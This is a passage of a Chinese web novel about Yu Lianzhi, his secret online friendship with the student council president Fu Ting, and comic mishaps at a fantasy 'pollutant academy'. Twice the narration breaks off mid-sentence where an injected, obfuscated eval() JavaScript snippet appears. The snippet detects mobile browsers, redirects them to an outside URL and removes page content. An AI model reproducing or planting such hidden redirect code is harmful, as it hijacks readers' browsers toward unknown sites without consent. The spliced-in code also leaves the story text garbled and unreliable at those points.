也是,【灾厄】一看就是个内向老实不善言辞的人,肯定是一直受别人欺负,所以寒假才会主动加自己,希望能找到交心朋友。 唉,好可怜。 【帘子】:不要怂,让他滚! 【灾厄】:他用食物讽刺我的外貌。 啥意思? 喻连枝愣了一下,马上懂了,有人骂【灾厄】长得丑。 他怒火中烧,啪啪打字,“岂有此理,太不尊重人了,他长得难道是个天仙吗?” 【灾厄】:他长得还可以。 一个老实孩子……喻连枝叹气,哪有人说敌人长得还可以的? 就算符停确实长了一张很牛逼的脸,他也得说丑,丑到人神共愤,丑到无法直视! 【帘子】:你别管他,我说你长得帅就是帅。 【帘子】:搭配上你的头像,充满格调,魅力,你这种不用看脸都酷。 挂科大户花添错推了推他,“你跟谁聊天呢?都下课了。” 喻连枝收起手机,“我一哥们,受欺负了。” “在污院受欺负很正常,都是看实力的,他估计挺弱的。” “那叫无害。”喻连枝道。 花添错说:“实力强的都在学生会,那里头的污染物都横着走。” 史钟听到“学生会”三个字,环顾四周,其他同学都走得差不多了,他才开口:“李教官出事了。” “出事了?!” “他找人代课,被学生会会长抓了。李教官本来就是学习部内部人员,罚得更重,被关了三天禁闭室。” 喻连枝瞳孔地震,“代课有必要罚这么重吗?” 花添错感慨,“学生会就是很恐怖,一言堂啊。” 天崩地裂。 有人不屑嗤笑了一声,“学生会一帮low货一帮装货,文艺团勿近学习部更是滚开,大一的一巴掌大二的两巴掌,符面瘫更是降龙十八掌。” 三人紧张地同时扭头,只见后桌坐了个金发帅哥,戴着墨镜,勾着单边嘴角,脸上写满了狂妄。 “你……” 僵持中,薄空朦抱着一堆材料推门而入,准备借用这个教室整理资料,却在看到金发男子时脸色一变。 “怎么,你想再次申请入学生会?” “切。”金发男站起身,双手插兜,落下一句“我看不上”,转身离开。 喻连枝也打算走,却被薄空朦叫住了。 “连理枝,下午给我一张一寸证件照。” 喻连枝错愕,“哥,要证件照干嘛?” 薄空朦:“你递交的文艺团申请书上缺少照片,我需要保存完整的申请单。” 喻连枝:……? 我怎么不记得我递交了这种东西??? 22.第二十二章 “会长你笑什么。” 杜影停下手中的动作,抬起头,不咸不淡地来了一句。 符停把手机屏幕一锁,正色道:“没有。” 沈青在一旁端着水,“是那个‘帘子’吧,天天聊,网恋啊会长。” “没有。” 符停恢复一贯冰冷神色,从一叠申请书里选了几张,递了过去,“这几个先过了。” 沈青接过,换了个话题,“会长,你处理【灼光】这件事,引起不小的反响,关禁闭室三天,会不会太严厉了。” 符停一愣,接着开了一袋抑制剂,没说话。 沈青叹气,又道:“如果把【连理枝】也关禁闭室,容易落下‘暴政’的名声啊。” 符停有一搭没一搭的滑动屏幕,目光落在“你这种不用看脸都酷”这句话上,柔和了些。 他把抑制剂随手扔了,脑子里杂乱无章的思绪停止翻腾。 “那你怎么看。” 话音刚落,整个办公室的人表情微变——会长今天心情不错? 沈青道:“把他转交给秘书处吧,公益劳动一个月,我会亲自看管。” 相当于劳动改造,免除刑罚,不算轻松,但也有杀鸡儆猴的效果。 符停思忖片刻,点了点头,“嗯。” 沈青抱着材料出门,心底松了一口气,总算是把喻连枝的小命保住了。 符停又惯例巡视了一下论坛,无事发生,打开手机后,帘子没给他发新的消息。 他怅然若失,指尖无意识地轻点桌面。 还是第二次有人夸他“帅”。 第一次也是帘子。 黑漆漆的、蠕动的、长着吸盘和眼睛的触手真的好看吗?自从有记忆起,丑陋两个字就牢牢跟随着他。 巨型异形生物,体型类似海洋软体动物,丑陋,容貌丑陋,性格敏感易怒,记录名称【灾厄】。 符停把头像拖进美图秀秀,又调了几层滤镜,然后把触手上的每只眼睛都p得圆溜溜的,才重新戴上头像。 隐藏在“美照”背后,他感觉一阵轻松,期盼帘子再多夸几句。 【帘子】:完了,出事了 【帘子】:交友不慎,申请离世 【帘子】:那些杀不死我的不如直接杀死我…… 【灾厄】:怎么了? 对方好像在忙,没有来得及回他的信息。 杜影瞥了一眼,迅速低头:今天会长的表情也太多了。 — 喻连枝确实在忙,忙着打爆花添错和史钟的狗头。 “好家伙,你俩真是坑爹玩意,把我往火坑里推呢?” 当他茫然转身,对上他俩心虚至极的眼神时,一切都拨开云雾了。 他们替他交了入会申请! 花添错上蹿下跳,“我也没想到真能选中啊,寻思着开个玩笑。” “滚滚滚!” 史钟捂着脑袋,“我也递交了,可是没选上嘛……” “你也滚!” 花添错一把搂住喻连枝的肩膀,唉了一声,“哥们你先别着急,只是过了初筛,后面还有考试、面试,千军万马过独木桥,你不一定能上啊。” 史钟捂着脑袋点点头。 当分母陪跑也可以。 喻连枝摸了摸下巴,“说的也有道理。” 花添错:“再说了,要是你真选上学生会,当了老爷,我们就一人得道鸡犬升天了嘿嘿嘿。” “赶紧滚!”喻连枝捶他一拳,“少嬉皮笑脸,我宝贵的游戏时间被浪费了,怎么办。” 花添错:“号给我,哥们职业代练。” 下午没课,喻连枝吃完午饭回到寝室,上床午休了会儿,醒来之后收到了花亦骨发来的尾款。 他乐呵呵地把网名改成“连理枝(暴富版)”。 开学之后,“帘子”就成了过去式,曾经得罪过符停的小马甲得捂紧,虽然现在还是得罪了符停。 怎么不算是一种命中注定呢? 刚改完,收到了一条好友申请,【青衣摇】,是沈青学长。 【青衣摇】:恭喜你获得秘书处半月游哦~明天早上请来秘书处报道~ 这就是代课的惩罚? 喻连枝抓耳挠腮,为了显得正式一些,回了个“收到(玫瑰)” 【青衣摇】:(捂嘴笑) 看了看时间,忙碌的喻师傅又得去拍一寸照了。 校园里有照相馆,约的时间是四点半。 喻连枝到达时,店里只有一个人,背对着他玩扫雷。 “你好,我来拍照。” 扫雷的那人转过身,长辫围脖绕三圈,发间一朵大红花,正是花亦骨。 “是你啊。”花亦骨热情地站起来,“有缘有缘,来,坐。” 喻连枝:“哥,原来你是老板。” “不是呀。”花亦骨坦坦荡荡,“赌输了没钱了,来打工赚点零花钱,对了,你还想兼职吗?” 回忆涌上心头。 喻连枝赶紧摇头,“不不不了,我被抓了,李灼教官也被抓了,你知道吗?” 花亦骨:“……” 花亦骨笑了,挥了挥手,“我怎么可能知道!” “唉,最近悠着点吧,可能在严抓代课,哥。” “好,多谢提醒。”花亦骨突然换了话锋,“那你知道我弟还有多少钱吗?” 喻连枝:?? 他想起了花添错前段时间的抱怨,说校园集市论坛有人黑他们兄弟俩,还编了顺口溜。 具体是这样的:哥哥是个赌狗,弟弟是个小丑;赌狗捉襟见肘,就找小丑喝酒;演得痛心疾首,两千即可到手。 当时,花添错义愤填膺,“竟敢骂我是小丑,胆大包天!我哥虽然奸诈,但若不是被可恶的【琥珀浓】骗了,怎么可能向我要钱!” 喻连枝收回思绪。 “月底了,应该、应该没多少了吧。” 花亦骨的目光堪称锐利,一下就识破了他的伪装,勾起嘴角,“知道了,小同学。” 喻连枝尬笑两声。 花亦骨端起他的脸,把粉扑放下了,“皮肤真好,又白又嫩的,不用化妆了,直接去拍。” “好。” 喻连枝坐到蓝幕前,保持微笑。 咔嚓—— 拍得很快,也没有需要修图的地方,花亦骨直接把照片传了出来,切割成一寸大小。 相纸里,少年眉目清朗,唇红齿白,眼尾皮肤薄,因而透出点血色,嘴角微微上扬,有种乖巧无害的感觉,却不含脂粉气,如同夏风中白衬衫飞扬的衣角一般清爽纯粹。 物以稀为贵,纯洁无瑕类型的气质堪称污染物的天菜。 “很好看,完美。”花亦骨赞叹地递过去,“你这种长相在污染物里很吃香哦。” 喻连枝后退,“污院是男校!” “同性恋不是很正常吗,都可婚多少年了,怎么,你还歧视同性恋?” “没有,不是,”喻连枝脸噌地红了,“我是直男。” 花亦骨微笑:“逗你玩的,普鲁圣也有污染物女校,有时候会联谊呢。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14625362|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是算了。” 喻连枝付了钱就跑,抽空给花添错发了条语音,“你哥好吓人!” 天色渐渐黑了,九月中旬,午间仍然高温,但夜间气温降低,昼夜温差极大,他要是个西瓜,保准又大又甜。 喻连枝跑去文艺团送了照片,回到寝室只感觉寒气入体。 寝室里一片寂静,学长好像都不在。 这段时间他们都挺忙的,薄空朦都快住在文艺团了。 喻连枝给【灾厄】发消息。 【帘子】:好累,过几天还得陪跑学生会竞选,更累了。 【帘子】:感觉当个污染物也挺不容易,学长也忙,寝室都没人。 【帘子】:冷冷清清。 喻连枝拿上睡衣,准备去冲个热水澡,灾厄回了一句。 【灾厄】:我寝室也没人。 真巧啊。 喻连枝坐下了,一下子拖延症发作。 【帘子】:你那个仇人不在吧?他要是还欺负你,你就和我说,我其实挺厉害的。 【灾厄】:嗯。 【帘子】:他要是还故意制造肢体接触,你一定要还手,知道吗? 【灾厄】:知道。 【帘子】:你观察一下他是不是gay,污院同性恋比例还挺高的。 【灾厄】:他,应该不是。 【帘子】:不说了,我洗澡去了。 【灾厄】:我也洗。 喻连枝咧开嘴,什么叫属于好兄弟的默契! 他抱着衣服摸黑进了厕所,在墙壁上摁了摁,毫无反应。 看来是灯坏了,得上报给楼长。 污染物学院厕所采取干湿分离,喻连枝又往前走了几步,心里嘀咕,奇怪,以前没觉得厕所空间有这么大。 当他的手触碰上湿冷的磨砂玻璃,一阵寒意直冲天灵盖。 好黑。 总感觉,黑暗中有什么东西。 未知才是真正的恐惧。 喻连枝吞了吞口水,往后退了一步,脚下踩到什么软趴趴的东西,他脚一滑,腰一扭,往前趴去。 “卧槽!” 想象中的疼痛并没有出现。 喻连枝睁开眼,亮了,他的手正撑在某人宽阔的肩膀上。 两人无声对视。 …… 喻连枝:“一起吗,节约用水。” …… 喻连枝:“呵呵,开个玩笑。” “出、去!!!” 他还是第一次听到符停这么不顾形象地大吼。 符停捏紧腰上的浴巾,全身颤抖,素来严寒的眼睛急得要喷火。 喻连枝安抚道:“不至于不至于,都是男人,你没洗过大澡堂吗?” 符停:“出、去!!!信不信我挖了你的眼睛!!!!!” 喻连枝连连后退,贴心地带上了门,“我什么都没看到,真的,兄弟。” 符停:“滚!!!!!” “好好好。” 门关上了。 浴室里重新陷入黑暗。 喻连枝拍了拍胸膛,符停暴走了,好吓人。 半晌,符停穿着完整地出来了,一道冷冷的眼刀扫了过来,但他没说什么,怒气冲冲地离开了宿舍。 喻连枝一句“不好意思”还没说出口,只听砰的一声,符停摔门走了。 他叹了一气,梁子越结越大。 手机收到一条消息。 【灾厄】:他是。 【帘子】:???啥 【灾厄】:他是gay! 23.第二十三章 符停来到湖边。 污院的湖底下连着大海,因此水是咸的,如同海洋一般幽暗无底。 湖的旁边有一个类似防空洞的洞口,金属封闭,铁片咬在泥土中,严丝合缝。 整个污染物学院只有少数人拥有打开这扇门的权限,因为里面是学生会的刑罚之地。 禁闭室。 符停用瞳孔解开门锁,门打开后是一条斜向下的过道,越往深处,温度越渗人。 随着他的脚步,一道道指明灯亮起,在脸上切割出深邃的明暗。 到了末端,又是一扇门,一扇铁门,真正的禁闭室其实是位于百米深海的一个铁笼。 空气咸湿得仿佛能拧出海水,一盏烛火忽明忽暗。 李灼靠在墙上刷视频,喊了声:“会长。” 符停打开门,从口袋中拿出一包抑制剂,只有通过药物,才能缓解失控的趋势。 李灼重新拿起手机,心里却在想别的。 传言禁闭室里有一种强大丑陋、足以绞杀一切的生物,“它”的污染领域内,百鬼齐哭,恍若阿鼻地狱,足以给任何污染物造成不可磨灭的伤害。 其实污院内早有猜测,“它”就是会长符停的异化形态。只是没有人敢说,于是默契地保持同一种传言说法。 现在他可以确定,禁闭室里什么都没有,只有堆成小山的抑制剂。 但是除了符停,谁又能弄到、且需要这么大量的抑制剂呢? “会长,”李灼道,“你不回寝室吗?” “不回。”符停听到自己胸口裂开的声音,呼吸瞬间凝滞,“你走吧。” 李灼:“这才一天。” “学生会并不是真的惩罚你,只是最近有污染物暗中惹事生非。” 李灼点头,“我知道,起个警示作用。还没抓到他?” “没有。” 沉默半晌,李灼道:“会长,让我去吧。” 符停目光沉沉,胸口的触手即将撑破衣服。 李灼诚恳万分:“我和他曾是室友,说不定他愿意见我。” 符停沉默着将蠢蠢欲动的触手压回胸膛,黑暗在铁笼里蔓延,将烛火包围,光亮愈发逼仄。 “嗯。”符停同意了,打开笼子,“去找【朦胧见】和【青衣摇】给你批准出校。” “我先出去了,会长。” 李灼收起烛火,笼子里骤然坠入黑寂,听到身后传来不可名状的低语,他加快了脚步,近乎逃跑。 — 喻连枝这一周过得很规律。 早上死亡早八,下午义务劳动,晚上激战峡谷。 每天只有已逝世、已登仙、已满血复活三种状态。 他甚至还带着【灾厄】玩游戏,虽然说【灾厄】刚开始连《王者荣耀》是什么都不知道。 但一周后,【灾厄】已经熟练掌握钟馗。 喻连枝仗着现在有钱,想给灾厄送个皮肤,让他自己挑选,然后他选了“地府判官”,奇怪的审美。 趁着寝室没人,喻连枝打开麦克风,“咳咳,跟着我。” 符停坐在禁闭室里,捧着手机一愣。 对方的声音通过传声器在幽暗中回荡,很好听,但有点耳熟。 他打字:“嗯。” 喻连枝又问:“你不开麦吗?” 【灾厄】:不了。 【灾厄】:我声音不好听。 符停打完字,眸光冷冷扫过四周,黢黑之中的鬼哭狼嚎瞬间消散。 喻连枝道:“好吧,没关系,但是你要自信,别总是否定自己。” 符停喉结微动,很少有人这么和他说话,感觉很新奇,好像有蚂蚁在脊背上咬他。与此同时,墙壁上爬着的巨型触手也开始轻颤,发出刺耳的声音。 他把听筒放到耳边,可惜过了好久,那边再没传来说话声。 喻连枝紧急闭麦。 花添错啪地打开门,一脸促狭,“哟哟哟,跟谁打游戏呢,声音都夹成什么了,我在门口都听不出来是谁在说话了呢~” 喻连枝瞪了一眼,“闭嘴。” 花添错继续犯贱,“小夹子~” “闭嘴!” 喻连枝拿了一手墨子,一控一勾,两人配合默契,直接平推拿下胜利。 【帘子】:不玩咯,我去补课。 【灾厄】:大一今天有课? 【帘子】:不是,过两天要基础课小测了,我可能要挂科了QAQ 符停盯着QAQ看了许久,脑补出那个干干净净的声音带着哭腔,他回了个“加油”,便不再打扰对方学习了。 【帘子】到底是谁呢? 可能挂科,说明成绩不好,同时说明不是什么能力很强的污染物,上次入学资格考试,倒数都有谁来着? 记不清了,他决定去秘书处一趟。 这一边,三个难兄难弟聚集在空教室里。 “放!” 一只史莱姆、一朵食人花蹦了出来。 喻连枝深呼吸,成功从指尖析出一和光点,和别人比起来,他的伴生物实在太迷你了。 史钟还是下意识害怕,离远了一步。 “第二步,坐!” 迷你史莱姆和食人花都折叠了一番,至少表面上看起来是坐的样子,喻连枝的光球无动于衷。 花添错:“加油啊兄弟!” 喻连枝:“……” 教室门被推开,一个身影斜斜地倚着,冷哼,“一群学渣。” 史钟认出了他:“鹰隼人?!” 喻连枝回味了一下,“这记录名称怎么这么阴损呢?” 周瑛脸黑如锅底,“挂科仔,管好你的嘴巴。” 喻连枝:“哦。” 花添错呵呵两声,拿出身为学长的气势,“虽然你可能不信,但我是二级污染物,怕了吧。” ……虽然那句可以不用加的。 鹰隼人抬脚上前,“你少吹牛,像你这种伴生物都管不好的废柴,还二级,笑掉大牙。” 花添错一点就炸,“你不信?!” 【齿花】污染领域展开。 喻连枝踩了踩脚下,教室的地面已然变成了柔软的草坪,一格一格的,种着摇摆的紫色食人花。 越看越眼熟。 直到天空中掉下一颗发光小太阳,草坪外出现带着路障的丧尸。 喻连枝:…… “你的污染领域真是植物大战僵尸?!” 花添错按下暂停键,骄傲地仰起头,“不错,厉害吧。” “厉害厉害。”喻连枝崇拜道。 史钟拉他的衣袖,“快收起来吧,最近学生会严打。” “哦,对。” 花添错菜是菜了点,但也是货真价实的二级污染物。 重新踩在地板上,只见周瑛脸色一阵青一阵白,见识了二级污染物的压迫,他仍嘴硬,“明天的小测可不考等级,控制不好伴生物就得挂科。” 喻连枝问:“你很有把握?” 周瑛用下巴看人,哼了一声。 他伸出手,衣袖里有什么东西在鼓动,接着,一团团毛绒绒整齐地从袖口跳了出来。 喻连枝看看鸡仔,又看看周瑛那张阴损的脸,难以置信。 他也配有这么萌的伴生物?! 真.老鹰捉小鸡。 小鸡仔们叽叽喳喳,随着周瑛一声令下,排好队伍,第一只叽了一下,第二只叽了两下,就这么报数,总共十只。 “好可爱啊,像个电动玩具。”喻连枝抄起一只就跑:“跟你爸爸说再见。” 周瑛大惊失色:“还给我!!” 最后,鹰隼人使出一招“我要告学生会”,喻连枝败下阵来,依依不舍地把小鸡仔送了回去。 他身上还有义务劳动,不敢惹事。 周瑛收回伴生物,哼着气甩头走了。 喻连枝幽幽道:“看出来了吗,他被人操控了。” 三人对视一眼,“涂乐意。” 据相关人士爆料,卷王涂乐意这几天学疯了,势必拿下小测最高分。 史钟拍了拍肩膀,“连理枝,虽然你现在看起来很弱,但我清楚你真正的水平!” 喻连枝:……嗯? 史钟:“涂乐意也清楚,所以他可能会在小测给你使绊子。” 喻连枝:……嗯?! 花添错火冒三丈,“放心,兄弟有难我两肋插刀!这个第一你拿定了!” “怎么燃还起来了?”喻连枝痛苦掩面,“先控制住伴生物再说别的,求求了。” 磕磕绊绊地练习完,喻连枝还得去参加劳动改造。 秘书处位于院长楼,日常整理文件,参与学生会的各个活动,工作繁琐。 沈青今天穿了件很宽松的纱织长裤,特别像穿了一条裙子。他看到喻连枝,把钥匙扔了过去,“总算来了,小学弟。” 喻连枝趴在桌子上签到,“明天小测,我在勤加练习,有点耽误了。” 沈青诧异:“你还需要练习?” 喻连枝不解地挠头,“怎么大家都觉得我很强,其实我真是学渣。” “少装。”沈青笑了笑,“给你个提示,明天小测将会和学生会审查结合,也就是说,难度翻倍。” 喻连枝绝望,“这科,是挂定了。” “也别灰心丧气的,考察实际操作能力,你的强项哦~” 我真的没有强项。 喻连枝没说话,长叹,好可怕的误解。 沈青托腮打量他,忽然撇嘴,嫌弃地问:“你穿的这是什么?” “卫衣啊。” 薄款长袖卫衣,胸口有个小人logo,帽檐垂下两根细带。 “你还是高中生吗?去休息室换件正式的衬衣,都是干净的,放心穿。” 喻连枝哦了一声,听话地换了件白衬衫出来。 沈青眼前一亮,摆脱了高中生卫衣后,果然整个人都不一样了。 笔挺的面料衬得他身形俊秀挺拔,除去稚气后,气质顿时清冷矜贵了许多。 “可塑性很强嘛。” 喻连枝单手安好袖扣,“一不小心,打扮成大人的模样。” 有人干活,沈青乐得自在,准备去自己的咖啡厅喝点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630432|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临走时提了一嘴。 “对了,楼下的电梯门坏了,反应不灵,等会儿接待的时候注意着点。” “好。” 喻连枝在电脑前坐下,查看今天的任务计划。 学生会带领外联部成员,邀请盘淅区特殊事件处理部门商谈要事。 盘淅区特殊事件处理部门?听起来好正式,难怪沈青学长要自己换正装。 半个小时后,喻连枝收到信息,重要访客已抵达楼下,精神抖擞,整装待发,喻门童上线。 电梯门一开,逆着光走来一个人影。 “欢迎……”他合上嘴。 是符停,那不欢迎。 符停扫了一眼,示意让开。 喻连枝摁着电梯开门键,保持微笑,“会长好,我是今天的电梯助理,请问您去几楼。” 符停没理会,沉沉的眉压眼下眸光冷淡。 喻连枝:装什么装,我也不想和你处在同一个空间好吗。 “会长,请问您去几楼?” 他耐着性子又问了一遍。 “五楼。”符停接受了事实,抬腿。 喻连枝想起沈青说“电梯按键不灵”,于是长了个心眼,提前按下了关门键。 只听砰得一声。 不对劲。 他飞速曲起手指。 抬头一看,符停被夹在电梯门中间,气得嘴角抽搐面目扭曲。 完咯,会长脑袋被门夹了,物理意义上的。 喻连枝保持冷静,按下开门键,“抱歉,电梯故障,我不是故意的。” 正说着,一群目睹全程的人从大门口走进。 薄空朦向着后面身穿制服的警员投去致歉的眼神,替喻连枝解围,“还好你们没先上去,大家都到了,一起吧。” 符停强压下不悦,颔首道:“欢迎各位。” 喻连枝心脏砰砰跳,第一次和这么多穿制服的站在同一个梯箱里,紧张。 其中一个中间警员还笑着看他,“这位小同学长得非常精神,我看着有些眼熟。” 喻连枝抿了抿嘴,“报告领导,可能是和明星撞脸了。” 那人哈哈大笑,“你有星相,前途无量。” “不敢当不敢当。” 那人又乐呵呵地道:“符停会长也是年少有为,优秀人才啊,小同学你说是吗?” 问我? “是啊是啊,真优秀啊……”喻连枝点头附和,卡住了,绞尽脑汁地夸道,“年纪轻轻就已经这么年轻了。” 符停:“……” 喻连枝彻底闭嘴。 接下来的事情和喻连枝没什么关系,端茶添水这种杂货都轮不上,他只需要守在门外。 等到日斜西山,一群人才从会议室出来,各个握手言欢,看起来谈得不错。 符停没和其他人一起走,反而径直朝他走来。 喻连枝如临大敌,这是秋后算账来了? 符停垂着眼睛,“把25届入学资格复查考试成绩单给我一份。” “好的会长。”他熟练地在电脑屏幕的文件里找了一番,然后用打印机拉了出来。 25届人数不多,一张纸足够排列全部人的姓名。 符停接过成绩单,刚打印出来的纸张微微发烫,他的目光自下而上检索。 一直到最顶端,停住了。 喻连枝 :98.8分 越厉害的污染物越是狡黠,越是奸诈,越是邪恶,能力和反社会值往往成正比,这就是污染物的定律。 【帘子】和喻连枝就是两个极端,喻连枝成绩优异,擅长伪装;【帘子】成绩不好,所以才善良无害,更弥足珍贵。 喻连枝看符停一脸神色莫测,忍不住问:“会长,你遇到难事了?” 符停从混乱的思绪中脱离,才发觉【帘子】和喻连枝说话时,某些咬字非常相似。 “你是哪里人?” “南曲省……南海人。”喻连枝警惕地说。 符停淡淡道:“我有个朋友,应该也是南海人。” “应该?” “不确定。” “都是朋友了,你问一下子呢?”喻连枝吐槽道,“扭扭捏捏的,你暗恋人家吧。” 符停的手指骤然收紧,在成绩单上捏出蛛网般的印记,下意识辩解,“我没有!” 我靠。 他急了。 喻连枝像是发现了什么秘密,兴奋得肾上腺素飙升。 符停有暗恋对象,什么惊天秘闻,这种棺材脸要是能追到人家,他喻连枝改姓符。 符停意识到自己情绪过于激烈,竭力克制住,从牙关里挤出几个字,“你别造谣,我没有。” 好不容易揪到符停的痛点,喻连枝摊开手掌,无辜地睁大眼睛,装出一副“情圣”的样子,以过来人的口吻谆谆教诲。 “先别急着否认,有没有你自己心里清楚。要是没有,就大大方方地问。” 符停周身的低气压近乎凝成实质,为了证明自己坦坦荡荡,他拿出手机,压根没意识到自己的行为有多幼稚。 “我现在就问他。”